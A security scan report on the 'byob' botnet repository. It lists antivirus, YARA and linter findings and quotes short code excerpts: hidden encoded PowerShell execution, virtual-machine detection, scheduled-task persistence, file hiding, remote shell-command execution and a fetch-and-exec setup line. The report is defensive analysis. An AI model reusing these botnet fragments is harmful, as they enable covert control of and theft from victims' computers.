Scan report
malwaredllc / byob
Could an attacker exploit mistakes in this code?
Strong warning signs. Do not run or install this without a careful review.
- High
- 72
- Medium
- 104
- Low
- 79
Sources: Bandit, Semgrep, pip-audit
Does this code look like it is trying to cause harm?
Serious issues. Review the high-severity findings before using it.
- High
- 89
- Medium
- 0
- Low
- 25
Sources: YARA, ClamAV, GuardDog, dependency checker
- Likely real
- 28
- Uncertain
- 135
- Likely noise
- 206
The risk classifier rates every finding for how likely it is to be a real issue. Likely noise still counts, just much less.
What we found, in plain English
This repository shows clear signs of malicious intent rather than just poor coding practices. The most serious issue is that the code contains active cryptocurrency mining tools and reverse shells, which are designed to steal money or control other computers, not just cause temporary errors. While there are some standard security warnings about using insecure file permissions and FTP protocols, these are common mistakes in many projects and do not indicate that the entire system is unsafe. The presence of known malware evasion techniques like checking for debuggers before running code further confirms that this is a botnet or mining farm rather than a legitimate application. You should not use this repository as it poses a high risk of financial loss and data theft if accessed by an attacker.
Written by a local language model from the findings below. The risk scores come from the classifier, not from this summary.
Detections by engine
Score over time
Overall score each time this repository was scanned.
Findings
Highest severity first. Select a finding to see the code and what it means.
Large result: showing the top 314 of 369 findings (up to 200 per engine, most severe and most likely real first). Totals above include everything.
-
- Engine
- ClamAV · Antivirus engine
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/modules/xmrig/xmrig_win32
- Likely real
- Yes, 98% confidence
ClamAV detected: Win.Coinminer.Generic-7151250-0
-
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/modules/util.py line 547
- Likely real
- Yes, 86% confidence
FTP-related functions are being called. FTP is considered insecure. Use SSH/SFTP/SCP or some other encrypted protocol.
546 try: 547 ftp = ftplib.FTP(host=host, user=user, password=password) 548 except: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/core/util.py line 546
- Likely real
- Yes, 86% confidence
FTP-related functions are being called. FTP is considered insecure. Use SSH/SFTP/SCP or some other encrypted protocol.
545 try: 546 ftp = ftplib.FTP(host=host, user=user, password=password) 547 except: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/modules/util.py line 544
- Likely real
- Yes, 86% confidence
FTP-related functions are being called. FTP is considered insecure. Use SSH/SFTP/SCP or some other encrypted protocol.
543 try: 544 ftp = ftplib.FTP(host=host, user=user, password=password) 545 except: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/util.py line 547
- Likely real
- Yes, 86% confidence
FTP-related functions are being called. FTP is considered insecure. Use SSH/SFTP/SCP or some other encrypted protocol.
546 try: 547 ftp = ftplib.FTP(host=host, user=user, password=password) 548 except: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/dummy_payload_for_testing.py line 812
- Likely real
- Yes, 86% confidence
FTP-related functions are being called. FTP is considered insecure. Use SSH/SFTP/SCP or some other encrypted protocol.
811 try: 812 ftp = ftplib.FTP(host=host, user=user, password=password) 813 except: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/core/payloads.py line 13
- Likely real
- Yes, 81% confidence
A FTP-related module is being imported. FTP is considered insecure. Use SSH/SFTP/SCP or some other encrypted protocol.
12 import ctypes 13 import ftplib 14 import struct -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/modules/util.py line 526
- Likely real
- Yes, 81% confidence
A FTP-related module is being imported. FTP is considered insecure. Use SSH/SFTP/SCP or some other encrypted protocol.
525 import time 526 import ftplib 527 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/util.py line 529
- Likely real
- Yes, 81% confidence
A FTP-related module is being imported. FTP is considered insecure. Use SSH/SFTP/SCP or some other encrypted protocol.
528 import time 529 import ftplib 530 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/payloads.py line 12
- Likely real
- Yes, 81% confidence
A FTP-related module is being imported. FTP is considered insecure. Use SSH/SFTP/SCP or some other encrypted protocol.
11 import base64 12 import ftplib 13 import struct -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/dummy_payload_for_testing.py line 255
- Likely real
- Yes, 81% confidence
A FTP-related module is being imported. FTP is considered insecure. Use SSH/SFTP/SCP or some other encrypted protocol.
254 import numpy 255 import ftplib 256 import socket -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/modules/util.py line 529
- Likely real
- Yes, 81% confidence
A FTP-related module is being imported. FTP is considered insecure. Use SSH/SFTP/SCP or some other encrypted protocol.
528 import time 529 import ftplib 530 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/dummy_payload_for_testing.py line 794
- Likely real
- Yes, 81% confidence
A FTP-related module is being imported. FTP is considered insecure. Use SSH/SFTP/SCP or some other encrypted protocol.
793 import time 794 import ftplib 795 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/core/util.py line 528
- Likely real
- Yes, 81% confidence
A FTP-related module is being imported. FTP is considered insecure. Use SSH/SFTP/SCP or some other encrypted protocol.
527 import time 528 import ftplib 529 -
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/docker-pyinstaller/entrypoint-linux.sh
- Likely real
- Uncertain, 39% confidence
YARA rule matched: detect_reverse_shell — Reverse shell command patterns
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/modules/xmrig/xmrig_win32
- Likely real
- Uncertain, 36% confidence
YARA rule matched: detect_crypto_miner — Cryptocurrency mining pool connection patterns
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /byob/client.py
- Likely real
- Uncertain, 36% confidence
YARA rule matched: detect_crypto_miner — Cryptocurrency mining pool connection patterns
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /.git/index
- Likely real
- Uncertain, 36% confidence
YARA rule matched: detect_crypto_miner — Cryptocurrency mining pool connection patterns
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/core/payloads.py
- Likely real
- Uncertain, 36% confidence
YARA rule matched: detect_crypto_miner — Cryptocurrency mining pool connection patterns
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /byob/README.md
- Likely real
- Uncertain, 36% confidence
YARA rule matched: detect_crypto_miner — Cryptocurrency mining pool connection patterns
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /byob/requirements.txt
- Likely real
- Uncertain, 36% confidence
YARA rule matched: detect_crypto_miner — Cryptocurrency mining pool connection patterns
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /byob/core/payloads.py
- Likely real
- Uncertain, 36% confidence
YARA rule matched: detect_crypto_miner — Cryptocurrency mining pool connection patterns
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/core/dummy_payload_for_testing.py
- Likely real
- Uncertain, 36% confidence
YARA rule matched: detect_crypto_miner — Cryptocurrency mining pool connection patterns
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/requirements.txt
- Likely real
- Uncertain, 36% confidence
YARA rule matched: detect_crypto_miner — Cryptocurrency mining pool connection patterns
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/client.py
- Likely real
- Uncertain, 36% confidence
YARA rule matched: detect_crypto_miner — Cryptocurrency mining pool connection patterns
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/modules/xmrig/xmrig_darwin
- Likely real
- Uncertain, 36% confidence
YARA rule matched: detect_crypto_miner — Cryptocurrency mining pool connection patterns
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/modules/xmrig/xmrig_linux2
- Likely real
- Uncertain, 36% confidence
YARA rule matched: detect_crypto_miner — Cryptocurrency mining pool connection patterns
-
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/util.py line 420
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell, possible injection detected, security issue.
419 powershell = r'C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe' if os.path.exists(r'C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe') else os.popen('where powershell').read().rstrip() 420 return os.popen('{} -exec bypass -window hidden -noni -nop -encoded {}'.format(powershell, base64.b64encode(code))).read() 421 except Exception as e: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/stagers.py line 43
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell, possible injection detected, security issue.
42 environment = [key for key in os.environ if 'VBOX' in key] 43 processes = [line.split()[0 if os.name == 'nt' else -1] for line in os.popen('tasklist' if os.name == 'nt' else 'ps').read().splitlines()[3:] if line.split()[0 if os.name == 'nt' else -1].lower().split('.')[0] in ['xenservice', 'vboxservice', 'vboxtray', 'vmusrvc', 'vmsrvc', 'vmwareuser','vmwaretray', 'vmtoolsd', 'vmcompute', 'vmmem']] 44 return bool(environment + processes) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/dummy_payload_for_testing.py line 685
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell, possible injection detected, security issue.
684 powershell = r'C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe' if os.path.exists(r'C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe') else os.popen('where powershell').read().rstrip() 685 return os.popen('{} -exec bypass -window hidden -noni -nop -encoded {}'.format(powershell, base64.b64encode(code))).read() 686 except Exception as e: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/dummy_payload_for_testing.py line 630
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell, possible injection detected, security issue.
629 try: 630 _ = os.popen('attrib -h -r -s {}'.format(target)) if os.name == 'nt' else os.chmod(target, 777) 631 except OSError: pass -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/util.py line 365
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell, possible injection detected, security issue.
364 try: 365 _ = os.popen('attrib -h -r -s {}'.format(target)) if os.name == 'nt' else os.chmod(target, 777) 366 except OSError: pass -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/server.py line 510
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell, possible injection detected, security issue.
509 # kill server and exit 510 _ = os.popen("taskkill /pid {} /f".format(os.getpid()) if os.name == 'nt' else "kill -9 {}".format(os.getpid())).read() 511 util.display('Exiting...') -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/modules/util.py line 420
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell, possible injection detected, security issue.
419 powershell = r'C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe' if os.path.exists(r'C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe') else os.popen('where powershell').read().rstrip() 420 return os.popen('{} -exec bypass -window hidden -noni -nop -encoded {}'.format(powershell, base64.b64encode(code))).read() 421 except Exception as e: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/modules/util.py line 365
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell, possible injection detected, security issue.
364 try: 365 _ = os.popen('attrib -h -r -s {}'.format(target)) if os.name == 'nt' else os.chmod(target, 777) 366 except OSError: pass -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/modules/process.py line 139
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell, possible injection detected, security issue.
138 try: 139 _ = os.popen('taskkill /im %s /f' % exe if os.name == 'nt' else 'kill -9 %s' % exe).read() 140 output.update({exe: "killed"}) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/modules/process.py line 133
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell, possible injection detected, security issue.
132 try: 133 _ = os.popen('taskkill /pid %s /f' % pid if os.name == 'nt' else 'kill -9 %s' % pid).read() 134 output.update({process_id: "killed"}) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/modules/process.py line 128
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell, possible injection detected, security issue.
127 output = {} 128 for i in os.popen('tasklist' if os.name == 'nt' else 'ps').read().splitlines()[3:]: 129 pid = i.split()[1 if os.name == 'nt' else 0] -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/modules/process.py line 105
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell, possible injection detected, security issue.
104 output = {} 105 for i in os.popen('tasklist' if os.name == 'nt' else 'ps').read().splitlines()[3:]: 106 pid = i.split()[1 if os.name == 'nt' else 0] -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/modules/process.py line 79
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell, possible injection detected, security issue.
78 output = {} 79 for i in os.popen('tasklist' if os.name == 'nt' else 'ps').read().splitlines()[3:]: 80 pid = i.split()[1 if os.name == 'nt' else 0] -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/core/util.py line 420
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell, possible injection detected, security issue.
419 powershell = r'C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe' if os.path.exists(r'C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe') else os.popen('where powershell').read().rstrip() 420 return os.popen('{} -exec bypass -window hidden -noni -nop -encoded {}'.format(powershell, base64.b64encode(code))).read() 421 except Exception as e: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/core/util.py line 365
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell, possible injection detected, security issue.
364 try: 365 _ = os.popen('attrib -h -r -s {}'.format(target)) if os.name == 'nt' else os.chmod(target, 777) 366 except OSError: pass -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/core/stagers.py line 43
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell, possible injection detected, security issue.
42 environment = [key for key in os.environ if 'VBOX' in key] 43 processes = [line.split()[0 if os.name == 'nt' else -1] for line in os.popen('tasklist' if os.name == 'nt' else 'ps').read().splitlines()[3:] if line.split()[0 if os.name == 'nt' else -1].lower().split('.')[0] in ['xenservice', 'vboxservice', 'vboxtray', 'vmusrvc', 'vmsrvc', 'vmwareuser','vmwaretray', 'vmtoolsd', 'vmcompute', 'vmmem']] 44 return bool(environment + processes) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/modules/process.py line 79
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell, possible injection detected, security issue.
78 output = {} 79 for i in os.popen('tasklist' if os.name == 'nt' else 'ps').read().splitlines()[3:]: 80 pid = i.split()[1 if os.name == 'nt' else 0] -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/modules/process.py line 105
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell, possible injection detected, security issue.
104 output = {} 105 for i in os.popen('tasklist' if os.name == 'nt' else 'ps').read().splitlines()[3:]: 106 pid = i.split()[1 if os.name == 'nt' else 0] -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/modules/process.py line 128
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell, possible injection detected, security issue.
127 output = {} 128 for i in os.popen('tasklist' if os.name == 'nt' else 'ps').read().splitlines()[3:]: 129 pid = i.split()[1 if os.name == 'nt' else 0] -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/server.py line 225
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell, possible injection detected, security issue.
224 globals()['__abort'] = True 225 _ = os.popen("taskkill /pid {} /f".format(os.getpid()) if os.name == 'nt' else "kill {}".format(os.getpid())).read() 226 util.log('Exiting...') -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/modules/util.py line 417
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell, possible injection detected, security issue.
416 powershell = r'C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe' if os.path.exists(r'C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe') else os.popen('where powershell').read().rstrip() 417 return os.popen('{} -exec bypass -window hidden -noni -nop -encoded {}'.format(powershell, base64.b64encode(code))).read() 418 except Exception as e: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/modules/util.py line 362
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell, possible injection detected, security issue.
361 try: 362 _ = os.popen('attrib -h -r -s {}'.format(target)) if os.name == 'nt' else os.chmod(target, 777) 363 except OSError: pass -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/modules/process.py line 139
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell, possible injection detected, security issue.
138 try: 139 _ = os.popen('taskkill /im %s /f' % exe if os.name == 'nt' else 'kill -9 %s' % exe).read() 140 output.update({exe: "killed"}) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/modules/process.py line 133
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell, possible injection detected, security issue.
132 try: 133 _ = os.popen('taskkill /pid %s /f' % pid if os.name == 'nt' else 'kill -9 %s' % pid).read() 134 output.update({process_id: "killed"}) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/modules/persistence.py line 247
- Likely real
- Uncertain, 33% confidence
subprocess call with shell=True identified, security issue.
246 try: 247 if subprocess.call('SCHTASKS /DELETE /TN {} /F'.format(value), shell=True) == 0: 248 return (False, None) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/modules/persistence.py line 115
- Likely real
- Uncertain, 33% confidence
subprocess call with shell=True identified, security issue.
114 path = value 115 hide = subprocess.call('attrib +h {}'.format(path), shell=True) == 0 116 else: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/modules/persistence.py line 245
- Likely real
- Uncertain, 33% confidence
subprocess call with shell=True identified, security issue.
244 try: 245 if subprocess.call('SCHTASKS /DELETE /TN {} /F'.format(value), shell=True) == 0: 246 return (False, None) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/modules/persistence.py line 117
- Likely real
- Uncertain, 33% confidence
subprocess call with shell=True identified, security issue.
116 path = value 117 hide = subprocess.call('attrib +h {}'.format(path), shell=True) == 0 118 else: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/setup.py line 92
- Likely real
- Uncertain, 32% confidence
subprocess call with shell=True identified, security issue.
91 if os.name != "nt": 92 locals()['pip_install_1'] = subprocess.Popen('sudo --prompt=" Please enter sudo password (to install python dependencies): " {} -m pip install -r {}'.format(sys.executable, requirements), 0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE, shell=True) 93 else: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/server.py line 272
- Likely real
- Uncertain, 32% confidence
subprocess call with shell=True identified, security issue.
271 globals()['package_handler'].terminate() 272 globals()['package_handler'] = subprocess.Popen('{} -m {} {}'.format(sys.executable, http_serv_mod, port + 2), 0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE, cwd=globals()['packages'], shell=True) 273 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/server.py line 112
- Likely real
- Uncertain, 32% confidence
subprocess call with shell=True identified, security issue.
111 # serve modules 112 globals()['module_handler'] = subprocess.Popen('{0} -m {1} {2}'.format(sys.executable, http_serv_mod, self.port + 1), 0, None, subprocess.PIPE, stdout=tmp_file, stderr=tmp_file, cwd=modules, shell=True) 113 util.log("Serving BYOB modules from {0} on port {1}...".format(modules, self.port + 1)) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/server.py line 108
- Likely real
- Uncertain, 32% confidence
subprocess call with shell=True identified, security issue.
107 # serve packages 108 globals()['package_handler'] = subprocess.Popen('{0} -m {1} {2}'.format(sys.executable, http_serv_mod, self.port + 2), 0, None, subprocess.PIPE, stdout=tmp_file, stderr=tmp_file, cwd=globals()['packages'], shell=True) 109 util.log("Serving Python packages from {0} on port {1}...".format(globals()['packages'], self.port + 2)) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/modules/persistence.py line 260
- Likely real
- Uncertain, 32% confidence
subprocess call with shell=True identified, security issue.
259 unhide = 'attrib -h {}'.format(filename) if os.name == 'nt' else 'mv {} {}'.format(filename, os.path.join(os.path.dirname(filename), os.path.basename(filename).strip('.'))) 260 if subprocess.call(unhide, 0, None, None, subprocess.PIPE, subprocess.PIPE, shell=True) == 0: 261 return (False, None) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/core/generators.py line 138
- Likely real
- Uncertain, 32% confidence
subprocess call with shell=True identified, security issue.
137 name = os.path.join(tempfile.gettempdir(), temp.name) 138 obfs = subprocess.Popen('pyminifier -o {} --obfuscate-classes --obfuscate-variables --replacement-length=1 {}'.format(name, name), 0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE, shell=True) 139 obfs.wait() -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/core/generators.py line 240
- Likely real
- Uncertain, 32% confidence
subprocess call with shell=True identified, security issue.
239 if debug: 240 process = subprocess.Popen('{0} -m PyInstaller -d imports -d bootloader --log-level DEBUG --onefile --hidden-import="pkg_resources.py2_warn" {1}'.format(sys.executable, filename), 0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE, shell=True) 241 else: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/core/generators.py line 242
- Likely real
- Uncertain, 32% confidence
subprocess call with shell=True identified, security issue.
241 else: 242 process = subprocess.Popen('{0} -m PyInstaller --noconsole --onefile --hidden-import="pkg_resources.py2_warn" {1}'.format(sys.executable, filename), 0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE, shell=True) 243 while True: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/core/payloads.py line 1019
- Likely real
- Uncertain, 32% confidence
subprocess call with shell=True identified, security issue.
1018 else: 1019 result, reserr = subprocess.Popen(task['task'].encode(), 0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE, shell=True).communicate() 1020 if result == None: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/modules/persistence.py line 258
- Likely real
- Uncertain, 32% confidence
subprocess call with shell=True identified, security issue.
257 unhide = 'attrib -h {}'.format(filename) if os.name == 'nt' else 'mv {} {}'.format(filename, os.path.join(os.path.dirname(filename), os.path.basename(filename).strip('.'))) 258 if subprocess.call(unhide, 0, None, None, subprocess.PIPE, subprocess.PIPE, shell=True) == 0: 259 return (False, None) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/modules/portscanner.py line 655
- Likely real
- Uncertain, 32% confidence
subprocess call with shell=True identified, security issue.
654 if host not in results: 655 if subprocess.call("ping -{} 1 -W 90 {}".format('n' if os.name == 'nt' else 'c', host), 0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE, shell=True) == 0: 656 results[host] = {} -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/server.py line 131
- Likely real
- Uncertain, 32% confidence
subprocess call with shell=True identified, security issue.
130 # host Python packages on C2 port + 2 (for clients to remotely import) 131 globals()['package_handler'] = subprocess.Popen('{} -m {} {}'.format(sys.executable, http_serv_mod, options.port + 2), 0, None, subprocess.PIPE, stdout=tmp_file, stderr=tmp_file, cwd=globals()['packages'], shell=True) 132 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/server.py line 134
- Likely real
- Uncertain, 32% confidence
subprocess call with shell=True identified, security issue.
133 # host BYOB modules on C2 port + 1 (for clients to remotely import) 134 globals()['module_handler'] = subprocess.Popen('{} -m {} {}'.format(sys.executable, http_serv_mod, options.port + 1), 0, None, subprocess.PIPE, stdout=tmp_file, stderr=tmp_file, cwd=modules, shell=True) 135 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/server.py line 137
- Likely real
- Uncertain, 32% confidence
subprocess call with shell=True identified, security issue.
136 # run simple HTTP POST request handler on C2 port + 3 to handle incoming uploads of exfiltrated files 137 globals()['post_handler'] = subprocess.Popen('{} core/handler.py {}'.format(sys.executable, int(options.port + 3)), 0, None, subprocess.PIPE, stdout=tmp_file, stderr=tmp_file, shell=True) 138 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/server.py line 878
- Likely real
- Uncertain, 32% confidence
subprocess call with shell=True identified, security issue.
877 globals()['package_handler'].terminate() 878 globals()['package_handler'] = subprocess.Popen('{} -m {} {}'.format(sys.executable, http_serv_mod, port + 2), 0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE, cwd=globals()['packages'], shell=True) 879 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/setup.py line 69
- Likely real
- Uncertain, 32% confidence
subprocess call with shell=True identified, security issue.
68 if sys.version_info[0] > 2: 69 subprocess.check_call("""{} -c 'from urllib.request import urlopen; exec(urlopen("https://bootstrap.pypa.io/get-pip.py").read())'""".format(sys.executable), shell=True) 70 else: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/setup.py line 94
- Likely real
- Uncertain, 32% confidence
subprocess call with shell=True identified, security issue.
93 else: 94 locals()['pip_install_1'] = subprocess.Popen('{} -m pip install -r {}'.format(sys.executable, requirements), 0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE, shell=True) 95 for line in locals()['pip_install_1'].stdout: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/dummy_payload_for_testing.py line 2301
- Likely real
- Uncertain, 32% confidence
subprocess call with shell=True identified, security issue.
2300 else: 2301 result, reserr = subprocess.Popen(task['task'].encode(), 0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE, shell=True).communicate() 2302 if result == None: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/generators.py line 142
- Likely real
- Uncertain, 32% confidence
subprocess call with shell=True identified, security issue.
141 name = os.path.join(tempfile.gettempdir(), temp.name) 142 obfs = subprocess.Popen('pyminifier -o {} --obfuscate-classes --obfuscate-variables --replacement-length=1 {}'.format(name, name), 0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE, shell=True) 143 obfs.wait() -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/payloads.py line 1056
- Likely real
- Uncertain, 32% confidence
subprocess call with shell=True identified, security issue.
1055 else: 1056 result, reserr = subprocess.Popen(task['task'].encode(), 0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE, shell=True).communicate() 1057 if result == None: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/modules/portscanner.py line 655
- Likely real
- Uncertain, 32% confidence
subprocess call with shell=True identified, security issue.
654 if host not in results: 655 if subprocess.call("ping -{} 1 -W 90 {}".format('n' if os.name == 'nt' else 'c', host), 0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE, shell=True) == 0: 656 results[host] = {} -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/modules/persistence.py line 119
- Likely real
- Uncertain, 32% confidence
subprocess call with shell=True identified, security issue.
118 path = os.path.join(dirname, '.' + basename) 119 hide = subprocess.call('cp {} {}'.format(value, path), shell=True) == 0 120 return (True if hide else False, path) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/modules/persistence.py line 166
- Likely real
- Uncertain, 32% confidence
subprocess call with shell=True identified, security issue.
165 fileobj.write(bash) 166 bin_sh = bytes().join(subprocess.Popen('/bin/sh {}'.format(fpath), 0, None, None, subprocess.PIPE, subprocess.PIPE, shell=True).communicate()) 167 time.sleep(1) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/modules/persistence.py line 184
- Likely real
- Uncertain, 32% confidence
subprocess call with shell=True identified, security issue.
183 if value and os.path.isfile(value): 184 result = subprocess.check_output('SCHTASKS /CREATE /TN {} /TR {} /SC hourly /F'.format(name, value), shell=True) 185 if 'SUCCESS' in result: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/server.py line 915
- Likely real
- Uncertain, 32% confidence
subprocess call with shell=True identified, security issue.
